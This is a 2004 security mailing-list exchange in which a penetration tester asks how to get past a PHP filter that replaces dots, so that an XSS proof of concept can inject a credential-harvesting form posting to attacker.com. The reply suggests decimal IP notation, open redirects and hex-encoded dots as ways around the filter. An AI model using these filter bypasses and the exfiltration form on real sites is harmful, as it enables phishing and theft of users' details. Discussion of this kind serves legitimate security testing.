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RE: Fullstop Substitution in XSS
From: "Michael Silk" <michaels () phg com au>
Date: Tue, 1 Jun 2004 10:07:49 +1000

Well,
        In the old days, an ip (127.0.0.1) used to be able to be replaced
        for the expanded notation (127 * 2^24 + 0^16 + 0^8 + 1), perhaps
        check if that still works (althought I seem to remember it doesn't).
        
        Other than that (and possible dns infiltration) consider sites that,
        upon invalid domain (http://yahoo?test () hello) redirect to somewhere
        else ... even some search sites ... i.e. perhaps you could execute a
        search which your malicious site (attacker.com) would make note of.

        Or ... you say you tried hex encoding ... i.e. this ?

        if result is:
        <form target="INPUT GOES HERE">

        INPUT GOES HERE could be ...

        -------------------------------------
        http://www%2egoogle%2ecom
        -------------------------------------

        If the % get's translated at the time of sending to the site, hex-encode
        that because the above is *exactly* what should appear in the source of
        the form tag, not the decoded result.
-- Michael


-----Original Message-----
From: Calum Power [mailto:enune () fribble net]
Sent: Saturday, 29 May 2004 2:49 PM
To: webappsec () securityfocus com
Subject: Fullstop Substitution in XSS


Hi all,

As a part of a recent Pen-Test, I came across an XSS vulnerabiity. The PHP
script that has this vuln is filtering fullstops (.) and replacing them
with underscores (_).
Now, I'm trying trying to write a Proof-of-Concept, in which a
(convincing) form would be outputted that could 'harvest' user details and
send them to an attacker's webserver.

My problem lies in the output of the form tags. Any: <form
target="http://attacker.com/path/to/script";> is of course being filtered
into: <form target="http://attacker_com/path/to/script";>

Has anyone else had a similar problem? I've tried using hex and unicode
encoding, to no avail (they get decoded before the filtering, obviously).

Any help would be appreciated.

Cheers,
Calum
--
Calum Power
Cultural Jammer
Security Enthusiast
Hopeless Cynic

enune () fribble net
http://www.fribble.net


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